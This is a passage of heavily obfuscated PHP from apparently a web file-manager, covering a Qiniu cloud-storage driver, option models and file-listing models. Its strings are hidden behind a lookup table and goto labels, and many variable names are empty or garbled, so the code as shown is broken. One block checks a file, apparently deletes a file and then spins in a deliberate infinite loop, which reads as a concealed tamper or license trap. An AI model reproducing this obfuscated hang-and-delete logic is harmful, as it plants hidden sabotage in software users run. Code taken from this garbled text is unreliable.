$_SERVER[̧]; if (!($ߋ = $this->link($Г˵))) { return !1; } $ = !1; if ($Ї > 0) { $ = $̒ + $Ї - 1; $ = array($[1438] . $̒ . $[415] . $); } $Ý = url_request($ߋ, $[230], !1, $); return $Ý[$[770]] ? $Ý[$[1222]] : !1; } public function upload($, $, $ٞ؛ = false, $ۗ = REPEAT_REPLACE) { $ۿƐ = new Qiniu\Storage\UploadManager(); $ = $this->auth->uploadToken($this->bucket, $); $ = get_file_mime(get_path_ext($)); list($, $Ѫ) = $ۿƐ->putFile($, $, $, null, $); return $Ѫ ? !1 : $this->getPathOuter($); } public function uploadFormData($, $ = 3600) { return $this->uploadToken($, $); } public function multiUploadFormData($ϫ, $ = 3600) { return $this->uploadToken($ϫ, $); } private function uploadToken($, $˴ڲ = 3600) { $߉ =& $_SERVER[̧]; $ = $˴ڲ; $ = array($߉[1439] => $߉[1440]); $޾Ĭ = $; $ = $this->auth->uploadToken($this->bucket, $޾Ĭ, $, $, !0); $ = empty($this->region) || $this->region == $߉[1441] ? $߉[12] : $߉[415] . $this->region; $؜ = http_type() . "\72\x2f\x2f\x75\160\x6c\x6f\141\x64{$}\56\x71\x69\156\151\165\160\56\143\x6f\x6d\57"; return array($߉[1442] => $, $߉[1443] => $؜); } public function download($ž, $ۀ) { $ = IO::getPathInner(IO::mkfile($ۀ)); if (!($ = $this->link($ž))) { return !1; } $娱 = 0; $ = 1024 * 200; $ = fopen($, $_SERVER[̧][1444]); while (!0) { $遼 = $this->fileSubstr($ž, $娱, $); if ($遼 === !1) { return !1; } fwrite($, $遼); $娱 += $; if (strlen($遼) < $) { break; } } fclose($); return $ۀ; } public function link($۠, $꼾 = '') { if (!$this->isFile($۠)) { return !1; } $ = $this->getHost() . $_SERVER[̧][8] . $this->pathEncode($۠) . $꼾; return $this->auth->privateDownloadUrl($, 3600 * 12); } public function fileOut($̩, $ՓͿ = false, $۬ = false, $ؙ = '') { $ =& $_SERVER[̧]; if ($this->isFileOutServer()) { return $this->fileOutServer($̩, $ՓͿ, $۬, $ؙ); } if (!$۬) { $۬ = $this->pathThis($̩); } $Ɛ = $ՓͿ ? $[1445] . rawurlencode($۬) : $[12]; $ = $this->link($̩, $Ɛ); $this->fileOutLink($); } public function fileOutServer($, $Ϸ용 = false, $˾ = false, $ӹ = '') { parent::fileOut($, $Ϸ용, $˾, $ӹ); } public function fileOutImage($, $ = 250) { $ = $this->link($, $_SERVER[̧][1446] . $); $this->fileOutLink($); } public function fileOutImageServer($踜, $ = 250) { parent::fileOutImage($踜, $); } public function hashMd5($ʓ) { $ =& $_SERVER[̧]; $ȹ = $this->objectMeta($ʓ); return isset($ȹ[$[212]]) ? $ȹ[$[212]] : !1; $џ = $this->link($ʓ, $[1447]); } public function size($̜) { $ˊ = $this->objectMeta($̜); return $ˊ ? $ˊ[$_SERVER[̧][76]] : 0; } public function info($) { if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } public function exist($ξ) { return $this->isFile($ξ) || $this->isFolder($ξ); } public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($ڬ݉) { return $this->cacheMethod($_SERVER[̧][165], $ڬ݉); } protected function objectMeta($ܐ) { return $this->cacheMethod($_SERVER[̧][167], $ܐ); } protected function _objectMeta($ᤛ) { $Ұ =& $_SERVER[̧]; list($䂾܍, $³ߚ) = $this->bucketManager->stat($this->bucket, $ᤛ); if ($䂾܍) { $䂾܍[$Ұ[76]] = intval($䂾܍[$Ұ[1433]]); } return $䂾܍; } protected function _isFolder($ȁ) { $ͅ =& $_SERVER[̧]; if ($ȁ == $ͅ[12] || $ȁ == $ͅ[8]) { return !0; } list($, $) = $this->bucketManager->listFiles($this->bucket, trim($ȁ, $ͅ[8]) . $ͅ[8], $ͅ[12], 1, $ͅ[8]); return !empty($[$ͅ[1436]]) || !empty($[$ͅ[1437]]) ? !0 : !1; } } goto Cɂ; D̷: if (!isset($_SERVER[$_SERVER[̧][425]]) || !isset($_SERVER[$_SERVER[̧][433]])) { $_getc = $_SERVER[̧][427]; $_getfile = $_SERVER[$_SERVER[̧][428]] . $_SERVER[̧][429]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[̧][231], $_getfilec); if (count($_getarrs) < $_SERVER[̧][430]) { $exit = $_SERVER[̧][431]; $exit(); } $_act = $_SERVER[̧][432]; $_act($_SERVER[$_SERVER[̧][428]] . $_SERVER[̧][429]); $_iii = 2; while ($_iii > 1) { $_iiij = rawurlencode($_iii . $_SERVER[̧][407]); } } goto Dݟ; a瑼: class ModelBaseLight { public $optionType = ''; public $modelType = "\123\x79\163\x74\145\x6d\117\160\x74\151\157\156"; public $field = array(); public function listData($я = false, $ = "\x6d\x6f\x64\151\146\x79\x54\x69\x6d\x65", $Νע = false) { $Տ = Model($this->modelType)->get(!1, $this->optionType, !0); $Ы = array_values($Տ); if ($Ы && $Ы[0] && !is_array($Ы[0])) { Model($this->modelType)->cacheRemove($this->optionType); $Տ = Model($this->modelType)->get(!1, $this->optionType, !0); } if (!$Տ) { return $я ? null : array(); } if (!$я) { $Տ = array_filter(array_values($Տ)); return array_sort_by($Տ, $, $Νע); } return $Տ[$_SERVER[̧][434] . $я]; } public function insert($) { $Ǹ֗ =& $_SERVER[̧]; $ = array_field_key($, $this->field); $ց = Model($this->modelType)->get($Ǹ֗[435], $this->optionType . $Ǹ֗[436]); $ց = $ց ? $ց : 0; $[$Ǹ֗[437]] = ++$ց; $[$Ǹ֗[201]] = time(); $[$Ǹ֗[85]] = time(); Model($this->modelType)->set($Ǹ֗[435], $ց, $this->optionType . $Ǹ֗[436]); Model($this->modelType)->set($Ǹ֗[434] . $ց, $, $this->optionType); return $ց; } public function update($ȏ, $) { $ =& $_SERVER[̧]; $ = array_field_key($, $this->field); $ϫ = $this->listData($ȏ); if (!$ϫ || !$ȏ) { return !1; } $ = array_merge($ϫ, $); $[$[85]] = time(); return Model($this->modelType)->set($[434] . $ȏ, $, $this->optionType); } public function remove($Ǿ) { if (!$Ǿ) { return !1; } return Model($this->modelType)->remove($_SERVER[̧][434] . $Ǿ, $this->optionType); } public function clear() { $Ѿۇ =& $_SERVER[̧]; Model($this->modelType)->remove($Ѿۇ[435], $this->optionType . $Ѿۇ[436]); return Model($this->modelType)->remove(null, $this->optionType); } public function cacheClear() { return Model($this->modelType)->cacheRemove($this->optionType); } public function findByKey($, $ѽ) { if (!$ѽ) { return !1; } $ = $this->listData(); $ = array_to_keyvalue($, $); return isset($[$ѽ]) ? $[$ѽ] : !1; } public function findByName($) { return $this->findByKey($_SERVER[̧][32], $); } protected function resetData($都) { $Ę錁 =& $_SERVER[̧]; $都 = is_array($都) ? $都 : array(); $ = array(); for ($Ӡ = 0; $Ӡ < count($都); $Ӡ++) { $[$Ę錁[434] . $都[$Ӡ][$Ę錁[437]]] = $都[$Ӡ]; } return Model($this->modelType)->set($, !1, $this->optionType); } private function getAutoName($랗) { $ȣ = array_to_keyvalue($this->listData(), $_SERVER[̧][32]); if (!$ȣ || !isset($ȣ[$랗])) { return $랗; } for ($鼲ϻ = 1; $鼲ϻ < count($ȣ); $鼲ϻ++) { $Қ = $랗 . "\50{$鼲ϻ}\51"; if (!isset($ȣ[$Қ])) { return $Қ; } } return $Қ; } } class ModelBaseOption extends ModelBase { protected $tableName = ''; protected $jsonField = array(); public function get($ = false, $ = '', $ = false) { $ԉ =& $_SERVER[̧]; $Թ = $this->cacheGet($); $Ε = $this->optionDefault($); $Ε = is_array($Ε) ? $Ε : array(); if (is_array($Թ)) { $Թ = array_merge($Ε, $Թ); return $ ? isset($Թ[$]) ? $Թ[$] : null : $Թ; } $ = $this->filterWhere(array($ԉ[33] => $)); $Թ = $this->where($)->select(); $Թ = array_to_keyvalue($Թ, $ԉ[94], $ԉ[403]); foreach ($Թ as $ => $¬) { if ($ || in_array($, $this->jsonField)) { $Թ[$] = json_decode($¬, !0); } } $this->cacheSet($, $Թ); $Թ = array_merge($Ε, $Թ); return $ ? $Թ[$] : $Թ; } public function set($, $Ʈ = false, $Ø = '') { $܊ =& $_SERVER[̧]; $this->cacheRemove($Ø); $톩 = array(); $ = is_array($) ? $ : array($ => $Ʈ); foreach ($ as $ؾ => $Ĕ) { if (is_array($Ĕ)) { $Ĕ = json_encode_force($Ĕ); } $this->checkLength($Ĕ, !1, $this->tableName . $܊[4] . $); $Ĕ = self::textEncode($Ĕ); $ = array($܊[33] => $Ø, $܊[94] => $ؾ, $܊[403] => $Ĕ); $톩[] = $this->filterWhere($); } if (!$톩) { return !0; } $ؔ = $this->cacheKey($܊[438]); CacheLock::lock($ؔ); $Ğ = $this->addAll($톩, array(), !0); CacheLock::unlock($ؔ); return $Ğ; } protected function optionDefault($见 = '') { return !1; } public function setDeep($󵺗, $惫 = false, $ = '') { $Ǿ = explode($_SERVER[̧][10], $󵺗); $Э吽 = $this->get(); array_set_value($Э吽, $󵺗, $惫); $this->set($Ǿ[0], $Э吽[$Ǿ[0]], $); } public function remove($ަ, $ = '') { $՟ =& $_SERVER[̧]; $this->cacheRemove($); $߃ = $this->filterWhere(array($՟[94] => $ަ, $՟[33] => $)); if (is_null($ަ)) { unset($߃[$՟[94]]); } return $this->where($߃)->delete(); } public function cacheSet($ܒׅ, $ = false) { return Cache::set($this->cacheKey($ܒׅ), $); } public function cacheGet($镽) { return Cache::get($this->cacheKey($镽)); } public function cacheRemove($) { return Cache::remove($this->cacheKey($)); } protected function filterWhere($һ) { return $һ; } protected function cacheKey($) { return $; } } class SourceListModel extends ModelBase { protected $tableName = "\x69\x6f\x5f\x73\x6f\x75\x72\x63\145"; protected $tableMeta = array("\164\141\x62\x6c\145\x4e\141\x6d\x65" => "\x69\157\x5f\163\157\x75\162\x63\145\x5f\x6d\x65\x74\141", "\x6d\145\x74\x61\x46\x69\145\154\x64" => "\163\157\165\x72\x63\x65\111\x44"); protected $dataAuto = array(array("\x6d\157\144\151\146\171\x54\x69\155\145", "\x74\x69\155\x65", "\x69\156\x73\145\x72\164", "\146\x75\x6e\x63\x74\x69\157\156"), array("\143\x72\x65\141\x74\x65\x54\x69\155\x65", "\164\x69\x6d\x65", "\151\156\163\145\x72\164", "\146\x75\156\x63\x74\x69\157\156"), array("\x76\151\145\167\124\x69\155\x65", "\x74\x69\155\x65", "\151\x6e\x73\x65\x72\164", "\x66\x75\x6e\x63\164\151\157\x6e")); protected static $cacheSourceInfo = array(); protected static $cachePathInfo = array(); protected static $cacheFileInfo = array(); protected static $cacheChildList = array(); const TYPE_SYSTEM = 0; const TYPE_USER = 1; const TYPE_GROUP = 2; public function listData($̪) { return $this->listSource(array($_SERVER[̧][439] => $̪)); } public function typeName($Ը) { static $ဌͭ = array(self::TYPE_SYSTEM => "\163\171\x73\164\145\155", self::TYPE_USER => "\165\x73\145\x72", self::TYPE_GROUP => "\x67\162\x6f\165\160"); return $ဌͭ[$Ը . $_SERVER[̧][12]]; } public function sourceListInfo($݅翧, $褩 = false) { $ڰ =& $_SERVER[̧]; $݅翧 = $݅翧 ? $݅翧 : array(); $݅翧 = array_filter(array_unique($݅翧)); if (!$݅翧) { return array(); } $Ǎ = $this->where(array($ڰ[440] => array($ڰ[7], $݅翧)))->select(); $this->_listDataApply($Ǎ, $褩); return array_to_keyvalue($Ǎ, $ڰ[440]); } public function pathInfoFilter(&$) { $ =& $_SERVER[̧]; static $ = false; static $ވ̥ = false; static $Ћ = false; if (!$) { $ = $[441]; $ .= $[442]; $ .= $[443]; $ = $[444]; $ = explode($[50], $); $ = explode($[50], $); $ވ̥ = array(); foreach ($ as $β) { if (in_array($β, $)) { continue; } $ވ̥[] = $β; } $Ћ = explode($[50], $[445]); } foreach ($Ћ as $ė¸) { if (isset($[$ė¸])) { $[$ė¸] = intval($[$ė¸]); } } $[$[84]] = $[446] . $[$[440]] . $[447]; $[$[33]] = $[$[448]] == 1 ? $[75] : $[200]; $[$[449]] = $this->typeName($[$[449]]); if ($[$[448]] != 1) { $[$[174]] = $[$[450]]; unset($[$[450]]); } $დ = $; if (isset($[$[451]]) && $[$[451]][$[452]] == -1) { $დ = $ވ̥; } $ = array_field_key($, $დ); return $; } public function listUserFav() { $ =& $_SERVER[̧]; $򂳽ğ = Model($[453])->listData(); $ͥ = array_filter_by_field($򂳽ğ, $[33], $[454]); $ͥ = array_to_keyvalue($ͥ, $[12], $[84]); if ($ͥ) { $ = $this->listSource(array($[455] => array($[456], $ͥ))); } $ = array_to_keyvalue($[$[398]], $[440]); foreach ($򂳽ğ as &$) { $ = array($[457] => $[$[437]], $[458] => $[$[32]], $[459] => $[$[84]], $[460] => $[$[33]], $[461] => $[$[201]], $[462] => $[$[85]]); if ($[$[33]] == $[454] && $[$[$[84]]]) { $[$[87]] = $[$[$[84]]]; } } unset($); return $򂳽ğ; } public function listUserTag($֭Ŭ) { $؞ =& $_SERVER[̧]; if ($֭Ŭ && !is_array($֭Ŭ)) { $֭Ŭ = array($֭Ŭ); } $ݢ = Model($؞[463])->listData(); $̡ = array(); $綕 = array(); foreach ($ݢ as $ùʒ) { $ݢ = $ùʒ[$؞[84]]; if (!$ݢ) { continue; } if (!isset($綕[$ݢ])) { $綕[$ݢ] = array(); } $綕[$ݢ][] = $ùʒ[$؞[464]]; $̡[$ùʒ[$؞[84]]] = $ùʒ; } $ȅ = array(); $븑 = array(); $ = array(); foreach ($綕 as $ => $˯) { $ۀǍ = !0; if (!$֭Ŭ) { $ȅ[] = $; continue; } foreach ($֭Ŭ as $醷) { if (!in_array($醷, $˯)) { $ۀǍ = !1; break; } } if (!$ۀǍ) { continue; } if (!is_numeric($)) { $Ј = $̡[$]; $ = array($؞[32] => $Ј[$؞[32]], $؞[84] => $Ј[$؞[84]], $؞[33] => $Ј[$؞[33]], $؞[87] => array($؞[465] => 1), $؞[202] => !0); if ($Ј[$؞[33]] == $؞[200]) { $[] = $; } if ($Ј[$؞[33]] == $؞[75]) { $븑[] = $; } continue; } $ȅ[] = $; } if ($ȅ) { $֤ = $this->listSource(array($؞[455] => array($؞[456], $ȅ))); } $֤ = $֤ ? $֤ : array($؞[82] => array(), $؞[83] => array()); $֤[$؞[82]] = array_merge($֤[$؞[82]], $븑); $֤[$؞[83]] = array_merge($֤[$؞[83]], $); if (isset($֤[$؞[395]]) && count($ȅ) == $֤[$؞[395]][$؞[396]]) { return $֤; } $՞ = array(); $ = array_to_keyvalue($֤[$؞[82]], $؞[12], $؞[440]); $ȇ = array_to_keyvalue($֤[$؞[83]], $؞[12], $؞[440]); $ = array_merge($ȇ, $); foreach ($ȅ as $ݢ) { if (!in_array($ݢ, $)) { $՞[] = $ݢ; } } if ($՞) { Model($؞[466])->removeBySource($՞); } return $֤; } public function listUserRecycle() { $ꋦ =& $_SERVER[̧]; $򏞧 = Model($ꋦ[467])->listData(); if (!$򏞧) { return array(); } $ݤ = array($ꋦ[455] => array($ꋦ[456], $򏞧), $ꋦ[468] => 1); return $this->listSource($ݤ); } public function listSource($ߑ, $ = 3000, $ = false) { $ =& $_SERVER[̧]; if (!isset($ߑ[$[469]])) { $ߑ[$[469]] = 0; } if (isset($ߑ[$[470]]) && $ߑ[$[470]] == $[198]) { $ߑ[$[450]] = array($[360], $[471]); } $ = $[472]; $闕 = $this->field($)->_makeOrder()->where($ߑ)->selectPage($); $this->_listPageCheck($闕, $, $ߑ); $this->_listDataApply($闕[$[398]], $); $this->_listMake($闕); return $闕; } private function _listPageCheck(&$ۜ, $ܒ, $φĆ) { $ȉ =& $_SERVER[̧]; if (!is_array($ۜ[$ȉ[395]])) { return; } $꒣ = $ۜ[$ȉ[395]]; if ($꒣[$ȉ[397]] <= 1) { return; } if ($꒣[$ȉ[396]] >= 100000) { return; } if (Model($ȉ[473])->get($ȉ[474]) != $ȉ[475]) { return; } $ܒ = str_replace(array($ȉ[53], $ȉ[371], $ȉ[231]), $ȉ[12], $ܒ); $ܒ = $ȉ[476] . str_replace($ȉ[50], $ȉ[477], $ܒ) . $ȉ[478]; $ʩ = $ȉ[479]; $ʩ = $ʩ . $ȉ[480]; $ⴰ = $꒣[$ȉ[392]] * ($꒣[$ȉ[382]] - 1) . $ȉ[50] . $꒣[$ȉ[392]]; $ = $this->_makeOrder(!0); $ܬ = $ȉ[476] . str_replace($ȉ[50], $ȉ[477], $[0]); if (strpos($ܬ, $ȉ[481])) { $ܬ = str_replace($ȉ[481], $ȉ[482], $ܬ); } else { $ܬ .= $ȉ[483] . $[1]; } $ = array(); foreach ($φĆ as $ => $Ұ‰) { $[$ȉ[476] . $] = $Ұ‰; } $this->alias($ȉ[484])->field($ܒ)->limit($ⴰ)->order($ܬ); $ƅ = $this->join($ʩ)->where($)->select(); if ($ƅ) { $ۜ[$ȉ[398]] = $ƅ; } } protected function _makeOrder($燓ԏ = false) { $ҷ =& $_SERVER[̧]; $Ε = Model($ҷ[485])->get($ҷ[486]); $ЃϘ = Model($ҷ[485])->get($ҷ[487]); $馉 = array($ҷ[488] => $ҷ[489], $ҷ[490] => $ҷ[491]); $ɸ = array($ҷ[32] => $ҷ[32], $ҷ[76] => $ҷ[76], $ҷ[174] => $ҷ[450], $ҷ[492] => $ҷ[492], $ҷ[493] => $ҷ[494], $ҷ[201] => $ҷ[201], $ҷ[85] => $ҷ[85]); $ϫ = Input::get($ҷ[495], $ҷ[7], $Ε, array_keys($ɸ)); $ = Input::get($ҷ[496], $ҷ[7], $ЃϘ, array_keys($馉)); if (!in_array($ϫ, array_keys($ɸ))) { $ϫ = $ҷ[32]; } if (!in_array($, array_keys($馉))) { $ϫ = $ҷ[488]; } if ($ϫ == $ҷ[32]) { } $ = $ҷ[497] . $ɸ[$ϫ] . $ҷ[53] . $馉[$]; $ = rtrim(trim($), $ҷ[50]); if ($燓ԏ) { return array($, $馉[$]); } return $this->order($); } protected function _listDataApplyItem($毺, $ؠ = false) { $ = array($毺); $this->_listDataApply($, $ؠ); return $[0]; } protected function _listDataApply(&$ޗƸ, $Î = false) { $⇯ =& $_SERVER[̧]; if (!$ޗƸ) { $ޗƸ = array(); return; } $ = array_to_keyvalue($ޗƸ, $⇯[12], $⇯[440]); $ = array_unique($); $this->_listSourceCache($ޗƸ); if (!$Î) { $this->_listAppendMeta($ޗƸ, $); $this->_listAppendFileMeta($ޗƸ, $); $this->_listAppendChildren($ޗƸ, $); } $this->_listAppendPath($ޗƸ); $this->_listAppendAuth($ޗƸ); $this->_listAppendSourceInfo($ޗƸ, $); $this->_listAppendUser($ޗƸ); $this->_listFilterInfo($ޗƸ, $Î); $this->_listAppendAuthSecret($ޗƸ); } protected function _listSourceCache($ם) { $Э =& $_SERVER[̧]; foreach ($ם as $҂) { self::$cacheSourceInfo[$Э[498] . $҂[$Э[440]]] = $҂; } } protected function _listFilterInfo(&$, $أ = false) { $ܰ =& $_SERVER[̧]; foreach ($ as &$㟳) { $㟳 = $this->pathInfoFilter($㟳); self::$cachePathInfo[$ܰ[499] . intval($أ) . $ܰ[415] . $㟳[$ܰ[440]]] = $㟳; } unset($㟳); } protected function _listMake(&$ؗ) { $ =& $_SERVER[̧]; $ؗ[$[82]] = array(); $ؗ[$[83]] = array(); foreach ($ؗ[$[398]] as $) { $Όǿ = $[$[448]] == 1 ? $[82] : $[83]; $ؗ[$Όǿ][] = $; } unset($ؗ[$[398]]); } protected function _listAppendMeta(&$, $) { $ =& $_SERVER[̧]; $渣 = array($[455] => array($[456], $)); $Ӽ = Model($[500])->field($[501])->where($渣)->select(); if (!$Ӽ) { return; } $ = array($[502], $[503], $[482]); $윖 = array(); foreach ($Ӽ as $ʏ) { if (!isset($윖[$ʏ[$[440]]])) { $윖[$ʏ[$[440]]] = array(); } if (in_array($ʏ[$[94]], $)) { continue; } $윖[$ʏ[$[440]]][$ʏ[$[94]]] = $ʏ[$[403]]; } foreach ($ as &$Ф旈) { $Ф旈[$[504]] = !1; if (isset($윖[$Ф旈[$[440]]])) { $Ф旈[$[504]] = $윖[$Ф旈[$[440]]]; } if ($this->fileIsLock($Ф旈) && $Ф旈[$[451]]) { $ = AuthModel::AUTH_EDIT | AuthModel::AUTH_REMOVE; $Ф旈[$[451]][$[452]] = AuthModel::authDisable($Ф旈[$[451]][$[452]], $); $Ф旈[$[451]][$[505]][$[451]] = $Ф旈[$[451]][$[452]]; } } unset($Ф旈); } protected function _listAppendFileMeta(&$, $༁) { $ =& $_SERVER[̧]; $涴 = array_to_keyvalue($, $[12], $[506]); $涴 = array_filter(array_unique($涴)); if (!$涴) { return; } $ȋ = array($[507] => array($[456], $涴)); $̆ = $[508]; $ŧ = Model($[509])->field($̆)->where($ȋ)->select(); $ŧ = array_to_keyvalue($ŧ, $[506]); $Ĉ = Model($[510])->field($[511])->where($ȋ)->select(); $Ĉ = $Ĉ ? $Ĉ : array(); $ = array(); foreach ($Ĉ as $) { if (!isset($[$[$[506]]])) { $[$[$[506]]] = array(); } $[$[$[506]]][$[$[94]]] = $[$[403]]; } foreach ($ as &$ټ) { $ّޗ = $ټ[$[506]]; if (!$ّޗ || !is_array($ŧ[$ّޗ])) { continue; } $똛 = $ŧ[$ّޗ]; $똛[$[76]] = $ټ[$[76]]; $똛[$[32]] = $ټ[$[32]]; if (!isset(self::$cacheFileInfo[$[512] . $ّޗ])) { self::$cacheFileInfo[$[512] . $ّޗ] = array_merge(array(), $똛); } unset($ŧ[$ّޗ][$[84]]); $෎ = is_array($[$ّޗ]) ? $[$ّޗ] : array(); $ټ[$[170]] = array_merge($෎, $ŧ[$ّޗ]); if (isset($ټ[$[170]][$[169]])) { $ټ[$[169]] = json_decode($ټ[$[170]][$[169]], !0); unset($ټ[$[170]][$[169]]); } } unset($ټ); } protected function _listAppendSourceInfo(&$Ί, $) { $ϭ =& $_SERVER[̧]; $Ā = Model($ϭ[513])->listData(); $ݭφ = Model($ϭ[463])->listData(); $ = Model($ϭ[453])->listData(); $ = Model($ϭ[514])->listSimple(); $⬱ = array_to_keyvalue($Ā, $ϭ[437]); $ = array_to_keyvalue_group($ݭφ, $ϭ[84], $ϭ[464]); $蔏 = array_to_keyvalue($, $ϭ[84]); $򈿮 = array_to_keyvalue_group($, $ϭ[440]); foreach ($Ί as &$֝) { $֝[$ϭ[87]] = array($ϭ[515] => 0, $ϭ[516] => 0, $ϭ[517] => 0); if (isset($蔏[$֝[$ϭ[440]]])) { $֝[$ϭ[87]][$ϭ[518]] = 1; $֝[$ϭ[87]][$ϭ[519]] = $蔏[$֝[$ϭ[440]]][$ϭ[32]]; } if ($ && $⬱ && isset($[$֝[$ϭ[440]]])) { $֝[$ϭ[87]][$ϭ[520]] = array(); foreach ($[$֝[$ϭ[440]]] as $ś) { $ = $⬱[$ś]; $֝[$ϭ[87]][$ϭ[520]][] = array($ϭ[521] => $[$ϭ[437]], $ϭ[458] => $[$ϭ[32]], $ϭ[522] => $[$ϭ[523]]); } } if ($򈿮 && isset($򈿮[$֝[$ϭ[440]]])) { $֝[$ϭ[87]][$ϭ[524]] = array(); foreach ($򈿮[$֝[$ϭ[440]]] as $) { $ = $ϭ[525]; if ($[$ϭ[526]] == $ϭ[88]) { $ .= $ϭ[527]; } $֝[$ϭ[87]][$ϭ[524]] = array_field_key($, explode($ϭ[50], $)); } } } unset($֝); return $Ί; } protected function _listAppendChildren(&$, $) { $ʟ =& $_SERVER[̧]; $ = array(); $ = array($ʟ[207] => 0, $ʟ[208] => 0); foreach ($ as &$ކ) { if (!$ކ[$ʟ[448]]) { continue; } $[] = $ކ[$ʟ[440]]; } unset($ކ); if (!$) { return; } $ = array($ʟ[470] => array($ʟ[7], $), $ʟ[469] => 0); $ŝ = array($ʟ[470], $ʟ[448], $ʟ[528] => $ʟ[529]); $ = $this->field($ŝ)->where($)->group($ʟ[530])->select(); $Դ垗 = array(); foreach ($ as $) { $֨ = $[$ʟ[470]]; $ = $[$ʟ[448]] == $ʟ[88] ? $ʟ[208] : $ʟ[207]; if (!isset($Դ垗[$֨])) { $Դ垗[$֨] = array($ʟ[207] => 0, $ʟ[208] => 0); } $Դ垗[$֨][$] += $[$ʟ[529]]; } foreach ($ as &$ކ) { if (!$ކ[$ʟ[448]]) { continue; } $캂 = is_array($Դ垗[$ކ[$ʟ[440]]]) ? $Դ垗[$ކ[$ʟ[440]]] : $; $ކ[$ʟ[208]] = $캂[$ʟ[208]]; $ކ[$ʟ[207]] = $캂[$ʟ[207]]; unset($ކ[$ʟ[450]]); } unset($ކ); } protected function _listAppendAuth(&$) { $ؽ =& $_SERVER[̧]; $ = array(); foreach ($ as $) { if ($[$ؽ[449]] == self::TYPE_GROUP) { $[] = $[$ؽ[440]]; } } if (!$) { return; } $؛ = array_to_keyvalue($, $ؽ[440]); $՜߁ = Model($ؽ[531])->getSourceList($, $؛); $ = $GLOBALS[$ؽ[532]] == 1; foreach ($ as $ => &$) { $[$ؽ[451]] = $՜߁[$[$ؽ[440]]]; if (!$[$ؽ[451]] && $[$ؽ[449]] == self::TYPE_GROUP) { $[$ؽ[451]] = Action($ؽ[533])->pathGroupAuthMake($[$ؽ[534]]); if (!$[$ؽ[451]] && !$) { $[$ؽ[203]] = !1; $[$ؽ[202]] = !1; } } if ($[$ؽ[451]]) { $[$ؽ[203]] = AuthModel::authCheckEdit($[$ؽ[451]][$ؽ[452]]); $[$ؽ[202]] = AuthModel::authCheckView($[$ؽ[451]][$ؽ[452]]); } $this->groupPathDisplay($); } unset($); } public function _listAppendAuthSecret(&$) { $ʫ =& $_SERVER[̧]; if (Model($ʫ[473])->get($ʫ[535]) != $ʫ[88]) { return; } static $ = false; if (!$) { $ = Model($ʫ[536]); $ = Model($ʫ[537]); $ = $->listData(); $ = array_to_keyvalue($, $ʫ[440]); $ = json_decode(Model($ʫ[473])->get($ʫ[538]), !0); $ = array_to_keyvalue($, $ʫ[437]); foreach ($ as $Đ => $ݚ) { $豎ڟ = $[$ݚ[$ʫ[539]]]; if (!$豎ڟ) { $->remove($ݚ[$ʫ[437]]); unset($[$Đ]); continue; } $ˉ = $->listData($豎ڟ[$ʫ[451]]); if (!$ˉ) { $->remove($ݚ[$ʫ[437]]); unset($[$Đ]); continue; } $ݚ[$ʫ[451]] = $ˉ; $ݚ[$ʫ[540]] = $豎ڟ; $ݚ[$ʫ[541]] = Model($ʫ[542])->getInfoSimpleOuter($ݚ[$ʫ[492]]); $[$Đ] = $ݚ; } } $ = USER_ID; $ = array(); $μ = $this->_listAppendPath($, !0); foreach ($ as $Đ => &$ݚ) { if (!is_array($ݚ[$ʫ[451]])) { continue; } if ($ݚ[$ʫ[449]] != $ʫ[543]) { continue; } if (isset($[$ݚ[$ʫ[440]]])) { $ښ = $[$ݚ[$ʫ[440]]]; if (!is_array($ݚ[$ʫ[504]])) { $ݚ[$ʫ[504]] = array(); } $ݚ[$ʫ[504]][$ʫ[544]] = $ښ[$ʫ[539]]; $ݚ[$ʫ[451]][$ʫ[545]] = $ښ; $ݚ[$ʫ[451]][$ʫ[546]] = $ݚ[$ʫ[547]]; $ݚ[$ʫ[451]][$ʫ[548]] = $ʫ[88]; if ($ښ[$ʫ[492]] != $) { $ݚ[$ʫ[451]][$ʫ[452]] = $ݚ[$ʫ[451]][$ʫ[452]] & $ښ[$ʫ[451]][$ʫ[451]]; } continue; } $ = $this->parentLevelArray($ݚ[$ʫ[549]]); $ک = array_reverse($); foreach ($ک as $܍ => $ڦ) { if (!isset($[$ڦ])) { continue; } $ښ = $[$ڦ]; $ݚ[$ʫ[451]][$ʫ[545]] = $ښ; if ($ښ[$ʫ[492]] != $) { $ݚ[$ʫ[451]][$ʫ[452]] = $ݚ[$ʫ[451]][$ʫ[452]] & $ښ[$ʫ[451]][$ʫ[451]]; } $ = $ʫ[12]; $ = count($) - $܍; for ($Ц׻ = 0; $Ц׻ < $; $Ц׻++) { if (!isset($μ[$[$Ц׻]])) { $ = $ʫ[12]; break; } $ = $ . rtrim($μ[$[$Ц׻]], $ʫ[8]) . $ʫ[8]; } $ݚ[$ʫ[451]][$ʫ[546]] = rtrim($, $ʫ[8]) . $ʫ[8]; break; } } unset($ݚ); } public function groupPathDisplay(&$в) { $ԉО =& $_SERVER[̧]; if ($в[$ԉО[449]] != self::TYPE_GROUP) { return; } $՝ = Model($ԉО[550])->getInfo($в[$ԉО[534]]); $׉ = $this->parentLevelArray($՝[$ԉО[549]]); $ۋ = $ԉО[12]; foreach ($׉ as $Ĭ) { $釤 = Model($ԉО[550])->getInfo($Ĭ); $ۋ .= $釤[$ԉО[87]][$ԉО[440]] . $ԉО[50]; } $в[$ԉО[551]] = $՝[$ԉО[470]]; $в[$ԉО[552]] = $՝[$ԉО[549]]; $в[$ԉО[553]] = $՝[$ԉО[554]]; $в[$ԉО[555]] = $ۋ . $՝[$ԉО[87]][$ԉО[440]]; } protected function _listAppendPath(&$Բ, $ = false) { $ =& $_SERVER[̧]; static $Ϝ = array(); $ = array(); $ۋ = array(); if ($) { return $Ϝ; } foreach ($Բ as &$Ȭ) { $ = $Ȭ[$[440]]; if ($Ȭ[$[448]] == $[88] && $Ȭ[$[470]] != 0) { $Ϝ[$] = $Ȭ[$[32]]; } if ($Ȭ[$[448]] == $[88] && $Ȭ[$[470]] == 0 && !isset($Ϝ[$])) { $Ϝ[$] = $this->_listAppendPathRoot($Ȭ, array()); } if (isset($ۋ[$Ȭ[$[549]]])) { continue; } $ۋ[$Ȭ[$[549]]] = !0; $ = $this->parentLevelArray($Ȭ[$[549]]); foreach ($ as $ => $) { if (isset($Ϝ[$])) { continue; } if ($ == 0) { $Ϝ[$] = $this->_listAppendPathRoot($Ȭ, $); } if ($ != 0) { $[] = $; } } } unset($Ȭ); $ = array_unique($); if (count($) > 0) { $պ = array($[455] => array($[456], $)); if (count($) == 1) { $ϯ = 